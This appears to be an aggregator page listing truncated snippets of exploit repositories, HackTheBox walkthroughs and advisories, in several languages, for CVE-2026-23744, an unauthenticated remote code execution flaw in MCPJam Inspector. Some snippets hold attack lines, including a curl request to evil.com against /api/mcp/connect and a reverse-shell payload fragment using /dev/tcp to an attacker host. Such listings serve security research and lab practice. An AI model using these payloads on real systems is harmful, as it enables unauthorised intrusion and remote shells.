CVE-2026-23744-PoC

CVE-2026-23744-PoC Aviso legal: Este proof-of-concept é fornecido exclusivamente para investigação de segurança autorizada, fins educativos e ambientes de laboratório controlados por exemplo, HTB, CTF, ou testes de penetração internos com consentimento escrito explícito. A utilização não autoriza...

mcpExec

mcpExec é uma ferramenta que aproveita o CVE-2026-23744 para obter uma reverse shell usando a URL da instalação vulnerável do MCPJam Inspector. Instalação root@kitploit: git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich...

CVE-2026-23744-PoC

CVE-2026-23744-PoC PoC sulla vulnerabilità in MCP Server. Automatizzato per la parte POST con il corpo corretto. percorso vulnerabile: root@kitploit: /api/mcp/connect metodo tramite curl: root@kitploit: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...

CVE-2026-23744-RCE

MCPJam Inspector v1.4.2 - Exploit RCE Descrizione della vulnerabilità MCPJam Inspector contiene una vulnerabilità di Esecuzione Remota di Codice RCE non autenticata nell'endpoint /api/mcp/connect. La vulnerabilità consente agli aggressori di eseguire comandi arbitrari inviando un payload di...

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2

CVE-2026-23744-RCE-für-MCPjam-inspector-v1.4.2 Eine kritische RCE-Schwachstelle in MCPJam Inspector 3. Den Exploit starten root@kitploit: python3 CVE-2026-23744.py -u -i -p 4. Für eine bessere Nutzung empfehle ich, das Terminal auf ein voll funktionsfähiges zu aktualisieren, da sonst Befehle wie...

mcpjam-to-root

⚠️ Avvertenza Questo repository è destinato esclusivamente a ricerca sulla sicurezza autorizzata, test di penetrazione e scopi didattici. Non utilizzare le tecniche qui descritte contro sistemi senza autorizzazione esplicita. ⚡ MCPJam → Root Dalla RCE di MCPJam Inspector a root — CVE-2026-23744,...

DevHub-HTB-Walkthrough

DevHub – HTB Walkthrough Medium Linux Macchina: DevHub Difficoltà: Medium OS: Linux Argomenti: CVE-2026-23744, Tunneling con Chisel, Jupyter, Flask API, Escalation dei privilegi di root 📌 1. Ricognizione root@kitploit: nmap -sC -sV devhub.htb Risultato: root@kitploit: Porta 22 SSH Porta 80 HTTP...

CVE-2026-23744-POC

CVE-2026-23744 — MCPJam Inspector Unauthentifizierter RCE MCPJam Inspector = 1.4.2 bindet standardmäßig an 0.0.0.0 und gibt /api/mcp/connect ohne Authentifizierung frei. Der Endpunkt akzeptiert ein serverConfig-Objekt, das direkt einen Prozess auf dem Host startet – die Übergabe eines...

CVE-2026-23744-MCPJAM-RCE-exploit

CVE-2026-23744-MCPJAM-RCE-exploit Questo proof-of-concept in Python prende di mira un servizio MCP Model Context Protocol vulnerabile esposto dall'applicazione target. La vulnerabilità consente a un attaccante di fornire parametri arbitrari di configurazione del server attraverso l'endpoint...

HTB-DevHub

HackTheBox — DevHub CVE-2026-23744 | MCPJam Inspector Unauthenticated RCE Schwierigkeit: Mittel Betriebssystem: Linux Angriffskette root@kitploit: ┌─────────────────────────────────────────────────────┐ │ CVE-2026-23744 │ │ Unauthenticated POST → /api/mcp/connect │...

CVE-2026-23744

CVE-2026-23744 — MCPJam Inspector RCE non autenticata PoC per esecuzione di codice in remoto non autenticata per CVE-2026-23744. MCPJam Inspector 1.4.2 e versioni precedenti espongono funzionalità tramite /api/mcp/connect che possono avviare un comando server MCP controllato dall'attaccante senza...

Exploit for Missing Authentication for Critical Function in Mcpjam Inspector

No d...

Exploit for Missing Authentication for Critical Function in Mcpjam Inspector

CVE-2026-23744-PoC Disclaimer: This proof-of-concept...

Exploit for Missing Authentication for Critical Function in Mcpjam Inspector

CVE-2026-23744 – MCPJam Inspector Unauthenticated RCE PoC...

@mcpjam/inspector (>=2.22.0, <=2.39.0) potentially affected by CVE-2026-64650 via @ai-sdk/harness-codex (1.0.0-canary.9)

@ai-sdk/harness-codex NPM version 1.0.0-canary.9 is affected by a known vulnerability. The following packages have a transitive dependency on @ai-sdk/harness-codex and may be impacted: - @mcpjam/inspector =2.22.0, =2.39.0 Source cves: CVE-2026-64650 Source advisory:...

Exploit for Missing Authentication for Critical Function in Mcpjam Inspector

CVE-2026-23744-MCPJam-Exploit A proof-of-concept exploit for C...

Exploit for Missing Authentication for Critical Function in Mcpjam Inspector

CVE-2026-23744 — MCPJam Inspector Unauthenticated RCE Unauthe...

Exploit for Missing Authentication for Critical Function in Mcpjam Inspector

No d...

📄 MCPJam Inspector 1.4.2 Remote Code Execution

MCPJam Inspector versions 1.4.2 and below remote code execution proof of concept exploit. Exploit Title: MCPJam Inspector - Remote Code Execution Date: 07/03/2026 Exploit Author: Diamorphine Vendor Homepage: https://www.mcpjam.com/ Software Link: https://github.com/MCPJam Version: &...

MCPJam Inspector - Remote Code Execution

Exploit Title: MCPJam Inspector - Remote Code Execution Date: 07/03/2026 Exploit Author: Diamorphine Vendor Homepage: https://www.mcpjam.com/ Software Link: https://github.com/MCPJam Version: & /dev/tcp/attackerip/attackerport 0&1", "env": , "serverId": "Hello666" readyurl = urljoinurl,...